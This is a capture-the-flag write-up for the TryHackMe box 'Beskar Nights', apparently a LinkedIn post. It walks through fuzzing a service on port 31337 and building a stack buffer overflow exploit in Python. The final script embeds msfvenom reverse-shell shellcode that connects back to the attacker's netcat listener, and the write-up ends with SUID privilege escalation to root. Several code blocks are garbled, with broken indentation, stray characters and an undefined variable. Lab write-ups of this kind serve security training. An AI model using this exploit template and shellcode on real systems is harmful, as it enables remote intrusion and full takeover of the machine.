TryHackMe - Beskar Nights
Enumeration
To start we begin with a rustscan for enumeration of open ports.
rustscan -a 10.10.42.248
From our scan, we can see that ports 80, 2222, and 31337 are open. From the available ports, we can assume this box is running a webserver. Anyway, let's browse to port 80 and see what we find.
I tried admin:admin and it took me to a landing page (if admin:admin is correct I have no idea...)
Looking over the webpage I find a "Download Now" button that is linked to executable. Let's download the file and analyze it.
Launching the executable in my windows lab environment "beskarNights.exe" spawned a cmd prompt window stating "Listening for connections". I opened another terminal window to look for listening connections only, and the 31337 port struck out, if you recall it was in our original port scan.
netstat -ay
Connecting to my loopback via netcat on port 31337 revealed the data was ingested and calculated on the back end. Let's try to overflow the buffer. I created bytes in 10-byte increments starting with 100; the system crashed at 140 bytes.
python -c 'print "A" * 140'
Since it did in fact crash we can create a buffer overflow exploit script to get a reverse shell.
Exploit (Molding the shell)
My tool of choice to create buffer overflow exploits is immunity debugger.
https://www.immunityinc.com/products/debugger/
I opened the executable in immunity and started the program. Since I know the executable will crash at 140 bytes, I can start building out the exploit script. The first thing we need to do is configure where the bytearray.bin will be stored. You can set a location by entering the following command.
!mona config -set workingfolder c:\mona\%p
Next, we need to find the exact offset, we can do that by creating a pattern of bytes of 400 bytes longer than the original crash number (140 bytes) for a total of 540 bytes of random characters.
#Pattern Script -
#!/usr/bin/env python
# Author: phillips321
# Site: www.phillips321.co.uk
# Version 0.1
# Credits: metasploit project
# About: Replicates msf pattern_create.rb
#usage --> python script_name.py 400
import sys
try:length=int(sys.argv[1])
except:print "[+] Usage: %s <length> [set a] [set b] [set c]" % sys.argv[0]; sys.exit(1)
try:seta=sys.argv[2]
except:seta="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
try:setb=sys.argv[3]
except:setb="abcdefghijklmnopqrstuvwxyz"
try:setc=sys.argv[4]
except:setc="0123456789"
string="" ; a=0 ; b=0 ; c=0
while len(string) < length:
??? if len(sys.argv) == 2:
??????? string += seta[a] + setb[b] + setc[c]
??????? c+=1
??????? if c == len(setc):c=0;b+=1
??????? if b == len(setb):b=0;a+=1
??????? if a == len(seta):a=0
??? elif len(sys.argv) == 3:
??????? print "[!] Error, cannot work with just one set!"
??????? print "[+] Usage: %s <length> [set a] [set b] [set c]" % sys.argv[0]; sys.exit(1)
??????? sys.exit(1)
??? elif len(sys.argv) == 4:
??????? string += seta[a] + setb[b]
??????? b+=1
??????? if b == len(setb):b=0;a+=1
??????? if a == len(seta):a=0
??? elif len(sys.argv) == 5:
??????? string += seta[a] + setb[b] + setc[c]
??????? c+=1
??????? if c == len(setc):c=0;b+=1
??????? if b == len(setb):b=0;a+=1
??????? if a == len(seta):a=0
??? else:
??????? print "[+] Usage: %s <length> [set a] [set b] [set c]" % sys.argv[0]; sys.exit(1)
print "-------------------------------------------------------------------------"
print string[:length]
print "-------------------------------------------------------------------------"
print "Length: %i" % length
print "[+] SetA: '%s'" % seta
print "[+] SetB: '%s'" % setb
if len(sys.argv) != 4: print "[+] SetC: '%s'" % setc
print "-------------------------------------------------------------------------"n
Add the pattern of bytes into the payload of the exploit script and feed that to the executable.
import socket
#ip of where beskarNights.exe is running
ip = "10.50.7.4"
port = 31337
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
??? s.connect((ip, port))
??? print("Sending evil buffer...")
??? s.send(bytes(buffer + "\r\n", "latin-1"))
??? print("Done!")
except:
??? print("Could not connect.")
Immunity debugger should have crashed. Run the following command in immunity to find the Extended Instruction Pointer (EIP).
!mona findmsp -distance 540
Now we must verify that we can control the EIP with our own bytes. First, clear out the payload and change the offset to what mona found which here is 146. The critical piece to confirming that we control the EIP is placing bytes in the "retn" which we should see once we run the exploit script again, so place four B's in the "retn". This should reflect 42424242 in the EIP once it executes.
import socket
#ip of where beskarNights.exe is running
ip = "10.50.7.4"
port = 31337
offset = 146
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
? ? s.connect((ip, port))
? ? print("Sending evil buffer...")
? ? s.send(bytes(buffer + "\r\n", "latin-1"))
? ? print("Done!")?
except:
? ? print("Could not connect.")t
Restart the program with immunity and run the exploit script.
Great, we can see that the EIP is now overwritten with all B's (42424242), this means we can control the next instruction with an address of our choosing, we will come back to this a little later on.
Now we must discover the bad characters. Bad characters are characters that if they are included in our exploit the program may reject the script and fail to execute. The first step is to create a bytearray.bin of the same bad characters we are going to throw at the executable. To do this within mona run the following command.
!mona bytearray -b "\x00"
"\x00" is already excluded because it is always considered a bad character.
Now, copy the bad characters into the payload of the exploit script. I use a python script to generate the exact same characters to make it easier to copy.
领英推荐
from __future__ import print_functio
listRem = "\\x00\".split("\\x")
for x in range(1, 256):
??? if "{:02x}".format(x) not in listRem:
??????? print("\\x" + "{:02x}".format(x), end='')
print()n
Your script should now look like this...
import socket
#ip of where beskarNights.exe is running
ip = "10.50.7.4"
port = 31337
offset = 146
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
? ? s.connect((ip, port))
? ? print("Sending evil buffer...")
? ? s.send(bytes(buffer + "\r\n", "latin-1"))
? ? print("Done!")?
except:
? ? print("Could not connect.")
Run the script and now we are looking to compare the contents of the memory starting with the address in the Extended Stack Pointer (ESP) with the bytearray.bin file we created earlier.
From the results, we can see the comparison and at the bottom, it lists the possible bad chars. Repeat this process, removing each of the bad chars one at a time until we have no bad ones left. Fortunately, we only have one bad character this time so start by removing 0a.
Your payload should now look like this after removing "x0a".
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Now repeat the following steps.
1. Restart immunity and start the program
2. Update the bytearray with -> !mona bytearray -b "\x00\x0a"
3. Run the exploit script
4. Check value of ESP register.
5. Compare memory with byte array using mona
Once all the bad characters are removed you will see the following results.
NOTE: Sometimes you may get 3 or more bad characters at once, it is critical that you remove them one at a time and repeat the process. Mona at times may potentially think the following character is a bad character when in fact it may not be, so save yourself some hassle and just remove one bad character at a time.
Now we must find the ESP address in memory but we only want the ones that exclude the bad chars. In order to do this, we look for a JMP ESP with the most "False". Apparently, the more "False" the higher chance the exploit code will work? don't ask me lol ask google. Any way to find this information we ask mona of course.
!mona jmp -r esp -cpb "\x00\x0a"
Little Endian Format reverses the hex. "\xc3\x14\x04\x08"
We can use the first address, convert it to Little Endian format and replace the four "Bs" in the "retn" with this hex code.
MSFVenom Payload
Confession:
So this is where I made my first mistake, almost every buffer overflow I encountered was sitting on a windows box, this one however is sitting on a Linux box and there were 2 indicators I noticed that gave that hint. First one, when I used a windows payload I was dropped into a Linux box with a windows cmd prompt... I was extremely confused at this point. After some light enumeration I notice wine is being used which is a linux program used to run executables. The second sign was I banner grabbed port 2222 and it informed me that it was SSH running on ubuntu.
nc 10.10.42.248 2222
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
Let's create a Linux payload using MSFVenom. (The LHOST should be your THM VPN IP)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.3.220 LPORT=1337 EXITFUNC=thread -b "\x00\x0a" -f c
lastly, let's put some padding in there... "\x90" * 16" and update the IP to the THM box IP. Your final exploit script should now look similar to this:
import socket
#THM box ip of where beskarNights.exe is running
ip = "10.10.42.248"
port = 31337
offset = 146
overflow = "A" * offset
retn = "\xc3\x14\x04\x08"
padding = "\x90" * 16
payload = "\xb8\xe5\x51\x85\x9c\xd9\xcc\xd9\x74\x24\xf4\x5f\x33\xc9\xb1\x12\x83\xc7\x04\x31\x47\x0e\x03\xa2\x5f\x67\x69\x1d\xbb\x90\x71\x0e\x78\x0c\x1c\xb2\xf7\x53\x50\xd4\xca\x14\x02\x41\x65\x2b\xe8\xf1\xcc\x2d\x0b\x99\xc4\xc4\xe8\x85\xb1\xd4\xee\x30\x7b\x50\x0f\x8a\x1d\x32\x81\xb9\x52\xb1\xa8\xdc\x58\x36\xf8\x76\x0d\x18\x8e\xee\xb9\x49\x5f\x8c\x50\x1f\x7c\x02\xf0\x96\x62\x12\xfd\x65\xe4"
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
? ? s.connect((ip, port))
? ? print("Sending evil buffer...")
? ? s.send(bytes(buffer + "\r\n", "latin-1"))
? ? print("Done!")?
except:
? ? print("Could not connect.")
Set up your listener and execute the exploit script.
nc -lnvp 1337
Immediately upon catching the shell I upgrade the shell, and realize I am logged in as user pancho in their home directory. So let's cat the user.txt for the first flag.
python3 -c 'import pty; pty.spawn("/bin/bash")
Ctrl-Z
stty raw -echo
fg
Ctrl-Z
Privilege Escalation
Guess what we get to do? that's right... more enumeration. This box is susceptible to the find command due to its suid is set as root.
suid = a Linux permissions flag that allows users to run that particular executable as the executable's owner.?
Below is a script that I used to discover this suid. Once you get it saved on your box, transfer it over utilizing whatever method you are most comfortable with and run it.
https://github.com/Anon-Exploiter/SUID3NUM
And just like that, we are root.
I hope you enjoyed my write-up. Kudos rootshooter for an amazing box.
If you have any questions feel free to reach out to me.
#goTeam
Senior Penetration Tester
3 年Thanks for this!! I’m glad you enjoyed it!